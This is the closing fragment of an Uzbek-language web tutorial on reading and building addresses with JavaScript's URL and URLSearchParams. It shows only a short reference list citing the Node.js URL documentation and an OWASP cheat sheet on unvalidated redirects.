  • Node.js 24 hujjatlari: "URL" — nodejs.org/api/url.html
  • OWASP: "Unvalidated Redirects and Forwards Cheat Sheet" — cheatsheetseries.owasp.org
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
JavaScript URL va URLSearchParams: manzilni xatosiz o'qish va yig'ish — IlmHamroh